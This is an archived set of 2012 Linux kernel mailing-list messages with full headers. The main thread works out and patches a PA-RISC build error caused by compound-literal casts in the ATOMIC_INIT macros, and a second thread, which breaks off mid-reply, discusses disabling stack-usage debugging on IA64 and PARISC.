>>>> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/ 
>>>> include/asm/atomic.h
>>>> index 6c6defc..af9cf30 100644
>>>> --- a/arch/parisc/include/asm/atomic.h
>>>> +++ b/arch/parisc/include/asm/atomic.h
>>>> @@ -141,7 +141,7 @@ static __inline__ int  
>>>> __atomic_add_unless(atomic_t *v, int a, int u)
>>>>
>>>> #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
>>>>
>>>> -#define ATOMIC_INIT(i)	((atomic_t) { (i) })
>>>> +#define ATOMIC_INIT(i)	{ (i) }
>>>>
>>>> #define smp_mb__before_atomic_dec()	smp_mb()
>>>> #define smp_mb__after_atomic_dec()	smp_mb()
>>>> @@ -150,7 +150,7 @@ static __inline__ int  
>>>> __atomic_add_unless(atomic_t *v, int a, int u)
>>>>
>>>> #ifdef CONFIG_64BIT
>>>>
>>>> -#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
>>>> +#define ATOMIC64_INIT(i) { (i) }
>>>>
>>>> static __inline__ s64
>>>> __atomic64_add_return(s64 i, atomic64_t *v)
>>>
>>> OK, I don't understand this either ... why would not casting to the
>>> appropriate type suddenly stop warning about the initialiser being  
>>> non
>>> constant.  It looks like some type of gcc bug to me.
>>

Possibly, the cast causes the const attribute to be dropped...

>> I agree. I could not see any functional difference as such either  
>> but also
>> could not figure out why gcc would get it right for some arches and  
>> not
>> for others.
>
> Will gcc create a temporary (and hence non constant) value for the
> conversion?

Parisc is a callee copies architecture.  Thus, a structure passed as an
argument may be copied to a temporary.  This has been a source of
numerous bugs as the majority of architectures do it the other way  
round.

It would be easier to see what's happening with preprocessed source.

>
>>> Our toolchain
>>> expert (Dave) hangs out on the parisc list ... he'll want to know  
>>> your
>>> gcc -v.
>>>
>>
>> I'm using the cross-compiler from
>> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/. I  
>> do
>> not know what compiler Fengguang Wu was using.
>
> Yeah that's handy binaries and I'm using them in the x86 compile
> servers. However this particular parisc-defconfig is compile tested in
> an ia64 machine which is built from debian's gcc-4.7 source:
>
> Using built-in specs.
> COLLECT_GCC=/opt/cross/bin/hppa-linux-gcc
> COLLECT_LTO_WRAPPER=/opt/cross/libexec/gcc/hppa-linux/4.7/lto-wrapper
> Target: hppa-linux
> Configured with: /home/wfg/buildall/gcc-4.7-4.7.1/src/configure -- 
> target=hppa-linux --enable-targets=all --prefix=/opt/cross --enable- 
> lang
> uages=c --without-headers --enable-sjlj-exceptions --with-system- 
> libunwind --disable-nls --disable-threads --disable-shared --disable- 
> libmudflap --disable-libssp --disable-libgomp --disable-decimal- 
> float --disable-libquadmath --enable- 
> checking=release                         Thread model: single
> gcc version 4.7.1 (GCC)
>
> Thanks,
> Fengguang
>
>> Using built-in specs.
>> COLLECT_GCC=/home/mel/git-public/cross-compilers/gcc-4.6.3-nolibc/ 
>> hppa-linux/bin/hppa-linux-gcc
>> COLLECT_LTO_WRAPPER=/home/mel/git-public/cross-compilers/gcc-4.6.3- 
>> nolibc/hppa-linux/bin/../libexec/gcc/hppa-linux/4.6.3/lto-wrapper
>> Target: hppa-linux
>> Configured with: /home/tony/buildall/src/gcc/configure
>> --target=hppa-linux --host=x86_64-linux-gnu --build=x86_64-linux-gnu
>> --enable-targets=all --prefix=/opt/cross/gcc-4.6.3-nolibc/hppa-linux/
>> --enable-languages=c --with-newlib --without-headers
>> --enable-sjlj-exceptions --with-system-libunwind --disable-nls
>> --disable-threads --disable-shared --disable-libmudflap --disable- 
>> libssp
>> --disable-libgomp --disable-decimal-float --enable-checking=release
>> --with-mpfr=/home/tony/buildall/src/sys-x86_64
>> --with-gmp=/home/tony/buildall/src/sys-x86_64 --disable-bootstrap
>> --disable-libquadmath
>> Thread model: single
>> gcc version 4.6.3 (GCC)
>>
>> -- 
>> Mel Gorman
>> SUSE Labs
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net




From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Tue, 24 Jul 2012 15:48:44 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20120724074844.GA9519@localhost>
References: <20120722163058.GB13376@localhost>
 <20120723111619.GT9222@suse.de>
 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
 <20120723122905.GA22476@localhost>
 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1343116132 24992 80.91.229.3 (24 Jul 2012 07:48:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Jul 2012 07:48:52 +0000 (UTC)
Cc: Mel Gorman <mgorman@suse.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 24 09:48:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1StZrO-000225-KG
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Jul 2012 09:48:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755469Ab2GXHst (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Jul 2012 03:48:49 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:33124 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755084Ab2GXHss (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Jul 2012 03:48:48 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 24 Jul 2012 00:48:48 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.71,315,1320652800"; 
   d="scan'208";a="184762575"
Original-Received: from wfg-t420.sh.intel.com ([10.239.194.167])
  by fmsmga001.fm.intel.com with ESMTP; 24 Jul 2012 00:48:45 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1StZrI-0002Vv-Ff; Tue, 24 Jul 2012 15:48:44 +0800
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4503 gmane.linux.kernel.janitors:25195 gmane.linux.kernel:1332173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4503>

> It would be easier to see what's happening with preprocessed source.

Here is the line in sock.i:

struct static_key memalloc_socks = ((struct static_key) { .enabled = ((atomic_t) { (0) }) });

Thanks,
Fengguang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer element is not constant
Date: Tue, 24 Jul 2012 17:08:04 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
References: <20120722163058.GB13376@localhost> <20120723111619.GT9222@suse.de> <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com> <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost> <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl> <20120724074844.GA9519@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343164116 2023 80.91.229.3 (24 Jul 2012 21:08:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Jul 2012 21:08:36 +0000 (UTC)
Cc: Mel Gorman <mgorman@suse.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 24 23:08:34 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1StmLJ-0005e9-Qv
	for glk-linux-kernel-3@plane.gmane.org; Tue, 24 Jul 2012 23:08:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932588Ab2GXVIY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Jul 2012 17:08:24 -0400
Original-Received: from blu0-omc2-s28.blu0.hotmail.com ([65.55.111.103]:52731 "EHLO
	blu0-omc2-s28.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755638Ab2GXVIW (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Jul 2012 17:08:22 -0400
Original-Received: from BLU0-SMTP6 ([65.55.111.71]) by blu0-omc2-s28.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 24 Jul 2012 14:08:21 -0700
X-Originating-IP: [174.92.93.236]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.93.236]) by BLU0-SMTP6.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 24 Jul 2012 14:08:20 -0700
In-Reply-To: <20120724074844.GA9519@localhost>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Jul 2012 21:08:20.0631 (UTC) FILETIME=[742D0270:01CD69E0]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1332590 gmane.linux.kernel.janitors:25201 gmane.linux.ports.parisc:4505
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1332590>

On 24-Jul-12, at 3:48 AM, Fengguang Wu wrote:

> Here is the line in sock.i:
>
> struct static_key memalloc_socks = ((struct static_key) { .enabled =  
> ((atomic_t) { (0) }) });


The above line contains two compound literals.  It also uses a  
designated initializer
to initialize the field enabled.  A compound literal is not a constant  
expression.

The location of the above statement isn't fully clear, but if a  
compound literal occurs
outside the body of a function, the initializer list must consist of  
constant expressions.

Removing "(atomic_t)" from the define results in a constant expression.

Test case:

typedef struct { long enabled; } atomic_t;
struct static_key { atomic_t enabled; int x; };
struct static_key memalloc_socks = ((struct static_key) { .enabled =  
((atomic_t) { (0) }) });

Dave
--
John David Anglin	dave.anglin@bell.net




From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Wed, 25 Jul 2012 09:10:53 +0400
Lines: 63
Approved: news@gmane.org
Message-ID: <1343193053.3139.6.camel@dabdike>
References: <20120722163058.GB13376@localhost>
	 <20120723111619.GT9222@suse.de>
	 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
	 <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost>
	 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
	 <20120724074844.GA9519@localhost>
	 <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343193072 28749 80.91.229.3 (25 Jul 2012 05:11:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2012 05:11:12 +0000 (UTC)
Cc: Fengguang Wu <fengguang.wu@intel.com>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 25 07:11:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SttsG-0002yU-25
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Jul 2012 07:11:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751102Ab2GYFLC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Jul 2012 01:11:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45581 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750984Ab2GYFLB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Jul 2012 01:11:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 686648EE0A4;
	Tue, 24 Jul 2012 22:10:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DIkJNXqZj7S7; Tue, 24 Jul 2012 22:10:58 -0700 (PDT)
Original-Received: from [10.0.0.24] (unknown [194.186.187.194])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D8D358EE0A3;
	Tue, 24 Jul 2012 22:10:55 -0700 (PDT)
In-Reply-To: <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4506 gmane.linux.kernel.janitors:25203 gmane.linux.kernel:1332736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4506>

On Tue, 2012-07-24 at 17:08 -0400, John David Anglin wrote:
> Removing "(atomic_t)" from the define results in a constant expression.

OK, so this is what I'll queue for fixes:

From: Mel Gorman <mgorman@suse.de> Date: Mon, 23 Jul 2012 12:16:19
Subject: [PATCH] [PARISC] Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the  casts

The following build error occured during a parisc build with
swap-over-NFS patches applied.

net/core/sock.c:274:36: error: initializer element is not constant
net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
net/core/sock.c:274:36: error: initializer element is not constant

Dave Anglin says:
> Here is the line in sock.i:
>
> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> ((atomic_t) { (0) }) });

The above line contains two compound literals.  It also uses a designated
initializer to initialize the field enabled.  A compound literal is not a
constant expression.

The location of the above statement isn't fully clear, but if a compound
literal occurs outside the body of a function, the initializer list must
consist of constant expressions.

Reported-by: Fengguang Wu <fengguang.wu@intel.com>
Signed-off-by: Mel Gorman <mgorman@suse.de>
Cc: <stable@vger.kernel.org>
Signed-off-by: James Bottomley <JBottomley@Parallels.com>

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 6c6defc..af9cf30 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
 
-#define ATOMIC_INIT(i)	((atomic_t) { (i) })
+#define ATOMIC_INIT(i)	{ (i) }
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
@@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #ifdef CONFIG_64BIT
 
-#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
+#define ATOMIC64_INIT(i) { (i) }
 
 static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Wed, 25 Jul 2012 09:45:01 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20120725074501.GB27950@gmail.com>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1343202314 25579 80.91.229.3 (25 Jul 2012 07:45:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2012 07:45:14 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org, Fengguang Wu <fengguang.wu@intel.com>
To: Tony Luck <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jul 25 09:45:13 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1StwHO-00047L-CT
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 25 Jul 2012 09:45:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755423Ab2GYHpJ (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 25 Jul 2012 03:45:09 -0400
Original-Received: from mail-bk0-f46.google.com ([209.85.214.46]:49782 "EHLO
	mail-bk0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755304Ab2GYHpH (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 25 Jul 2012 03:45:07 -0400
Original-Received: by bkwj10 with SMTP id j10so279826bkw.19
        for <multiple recipients>; Wed, 25 Jul 2012 00:45:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=SVd2TPf35aFOSem6vmQ+h+zpOxvhctKI+SkCwEk5Ces=;
        b=oFwjjTQIRh94WvUJc32OOyJvhJIjt5eRwXx5B3NFwkOgk0elZENftvmPQMNNLrPnY5
         vFJLaL2QdQR6jxbDN2YTfI/lYkWIUbmjOtv4z7zWZoNfjyx0wXNMmrHprOwQRlDEHRwY
         lkxeHjF+iEYUJrAlHSH9NF6Ln7h4Y2VNioVooKNB6HJcI+andNW7Q3hX5aof/uQbtyc+
         SsejGX7taGxIXusd4fseMF7Md5+oHA8bdSY0hMPYBTZ7fzzSHykpB5SkanyVG5qKeaLz
         F9MQTK4k8qAWORFxct/ekhfpV4+0Y/8gSiNTEquEchLGNcGV28SXecTbsCLwzODdBust
         HqpQ==
Original-Received: by 10.205.135.6 with SMTP id ie6mr11411342bkc.139.1343202305421;
        Wed, 25 Jul 2012 00:45:05 -0700 (PDT)
Original-Received: from gmail.com (54033750.catv.pool.telekom.hu. [84.3.55.80])
        by mx.google.com with ESMTPS id n17sm12015078bks.6.2012.07.25.00.45.03
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 25 Jul 2012 00:45:04 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22339 gmane.linux.kernel:1332786 gmane.linux.ports.parisc:4507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22339>


* Tony Luck <tony.luck@intel.com> wrote:

> The stack_not_used() function in <linux/sched.h> assumes that stacks
> grow downwards. This is not true on IA64 or PARISC, so this function
> would walk off in the wrong direction and into the weeds.
> 
> Found on IA64 because of a compilation failure with recursive dependencies
> on IA64_TASKSIZE and IA64_THREAD_INFO_SIZE.
> 
> Fixing the code is possible, but should be combined with other
> infrastructure additions to set up the "canary" at the end of the stack.
> 
> Reported-by: Fengguang Wu <fengguang.wu@intel.com> (failed allmodconfig build)
> Signed-off-by: Tony Luck <tony.luck@intel.com>
> ---
>  lib/Kconfig.debug | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index ff5bdee..4a18650 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -714,7 +714,7 @@ config STACKTRACE
>  
>  config DEBUG_STACK_USAGE
>  	bool "Stack utilization instrumentation"
> -	depends on DEBUG_KERNEL
> +	depends on DEBUG_KERNEL && !IA64 && !PARISC

The modern way of doing this is by adding an ARCH_SUPPORTS_ 
flag.

Thanks,

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Wed, 25 Jul 2012 12:02:28 +0400
Lines: 60
Approved: news@gmane.org
Message-ID: <1343203348.3139.16.camel@dabdike>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
	 <20120725074501.GB27950@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343203364 1456 80.91.229.3 (25 Jul 2012 08:02:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2012 08:02:44 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, linux-kernel@vger.kernel.org,
	Ingo Molnar <mingo@elte.hu>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, linux-ia64@vger.kernel.org,
	Fengguang Wu <fengguang.wu@intel.com>
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jul 25 10:02:41 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1StwYI-0006mv-CV
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 25 Jul 2012 10:02:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755872Ab2GYICg (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 25 Jul 2012 04:02:36 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45841 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754712Ab2GYICe (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>);
	Wed, 25 Jul 2012 04:02:34 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1A1338EE0A4;
	Wed, 25 Jul 2012 01:02:34 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id a3igz3fI383Q; Wed, 25 Jul 2012 01:02:34 -0700 (PDT)
Original-Received: from [10.24.29.235] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 833E48EE0A3;
	Wed, 25 Jul 2012 01:02:31 -0700 (PDT)
In-Reply-To: <20120725074501.GB27950@gmail.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22343 gmane.linux.kernel:1332799 gmane.linux.ports.parisc:4508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22343>

On Wed, 2012-07-25 at 09:45 +0200, Ingo Molnar wrote:
> * Tony Luck <tony.luck@intel.com> wrote:
> 
> > The stack_not_used() function in <linux/sched.h> assumes that stacks
> > grow downwards. This is not true on IA64 or PARISC, so this function
> > would walk off in the wrong direction and into the weeds.
> > 
> > Found on IA64 because of a compilation failure with recursive dependencies
> > on IA64_TASKSIZE and IA64_THREAD_INFO_SIZE.
> > 
> > Fixing the code is possible, but should be combined with other
> > infrastructure additions to set up the "canary" at the end of the stack.
> > 
> > Reported-by: Fengguang Wu <fengguang.wu@intel.com> (failed allmodconfig build)
> > Signed-off-by: Tony Luck <tony.luck@intel.com>
> > ---
> >  lib/Kconfig.debug | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> > index ff5bdee..4a18650 100644
> > --- a/lib/Kconfig.debug
> > +++ b/lib/Kconfig.debug
> > @@ -714,7 +714,7 @@ config STACKTRACE
> >  
> >  config DEBUG_STACK_USAGE
> >  	bool "Stack utilization instrumentation"
> > -	depends on DEBUG_KERNEL
> > +	depends on DEBUG_KERNEL && !IA64 && !PARISC
> 
> The modern way of doing this is by adding an ARCH_SUPPORTS_ 
> flag.

That's a bit daft, isn't it?  We'd have to add ARCH_SUPPORTS_ flags to
about 25 separate architectures just to get it not supported on these
two.

Since the problem is an invalid assumption about how the stack grows,
why not just condition it on that.  We actually have a config option for
this: CONFIG_STACK_GROWSUP.  But for some reason ia64 doesn't define
this, why not, Tony?  It looks deliberate because you have replaced a
lot of

#ifdef CONFIG_STACK_GROWSUP

with

#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)

